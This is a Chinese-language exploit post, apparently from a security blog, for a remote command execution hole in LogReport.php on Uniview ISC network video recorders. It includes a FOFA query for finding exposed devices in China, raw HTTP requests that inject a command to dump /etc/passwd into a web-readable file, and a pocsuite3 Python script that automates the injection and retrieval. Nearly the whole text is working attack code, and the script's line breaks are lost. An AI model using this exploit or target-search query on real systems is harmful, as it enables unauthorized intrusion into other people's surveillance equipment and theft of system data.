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漏洞描述

浙江宇視isc網絡視頻錄像機LogReport.php存在遠程命令執行漏洞。

fofa語句

body="Alarm" && country="CN" && body="白牌定制"

poc語句加檢測

GET /Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;cat+/etc/passwd%3Eqwer1234.txt HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=7b9bab286911f705a76e3c9cb5a14507; logintime=-; devLanguage=zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0GET /Interface/LogReport/qwer1234.txt HTTP/1.1
Host: 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

poc腳本

腳本用的pocsuite框架

# -*- coding: utf-8 -*-
# 2023/12/11 16:43from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass yushi_isc_logreport_RCE(POCBase):author = '煉金術師諸葛亮'createDate = '2023-12-11'name = 'yushi-isc-logreport-RCE'appName = 'yushi-isc-logreport-RCE'vulType = 'Command Execution'  # 漏洞類型，參見漏洞類型規范表desc = '浙江宇視 isc 網絡視頻錄像機 LogReport.php 遠程命令執行漏洞'  # 漏洞簡要描述def _verify(self):result = {}path = "/Interface/LogReport/LogReport.php"  # 參數url = self.url + pathpayload = "?action=execUpdate&fileString=x%3bcat%20/etc/passwd%3eqwer1234.txt"  # payloadheaders = {'Cookie': 'PHPSESSID=7b9bab286911f705a76e3c9cb5a14507; logintime=-; devLanguage=zh-CN','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Connection': 'close'}r = requests.get(url + payload,headers=headers)print(r.text)# 驗證成功輸出相關信息if r.status_code == 200:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Name'] = payloadreturn self.parse_output(result)def _attack(self):result = {}path = "/Interface/LogReport/qwer1234.txt"url = self.url + pathheaders2={'Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'}r = requests.get(url,headers=headers2)if r and r.status_code == 200 and "root" in r.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Resp'] = r.textreturn self.parse_output(result)register_poc(yushi_isc_logreport_RCE)

腳本利用